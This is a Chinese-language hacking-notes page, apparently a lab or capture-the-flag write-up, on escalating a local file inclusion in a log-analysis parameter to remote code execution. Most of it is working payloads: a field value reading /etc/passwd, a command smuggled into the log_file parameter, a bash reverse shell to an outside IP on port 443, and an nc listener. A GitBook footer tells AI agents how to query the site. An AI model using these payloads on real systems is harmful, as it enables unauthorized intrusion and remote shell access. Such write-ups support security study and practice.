> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce/log-poisoning-rce-pentesting-web.md).

# 日志投毒 RCE

## (LFI - RCE) 日志投毒：

如果我们尝试列出一个文件，例如 `/etc/passwd`，例如：

```bash
log_file=/etc/passwd  &analyze_log=/etc/passwd

```

该文件被列出了 :)

<figure><img src="/files/120d92684613883178fc72ea32b1e59b188ff61c" alt=""><figcaption></figcaption></figure>

然后我们尝试读取包含 flag 的文件 `root` 并且我们观察到可以执行命令（例如 `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt

```

<figure><img src="/files/866d968734e647fef7e7c7c46dd9a765bb33363b" alt=""><figcaption></figcaption></figure>

### **完全访问（反向 shell）：**

为了获得反向 shell，我们执行以下命令：

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"

```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt

```

{% endcode %}

然后，我们使用以下命令设置一个监听器 `nc`:

```bash
nc -nvlp 443

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce/log-poisoning-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
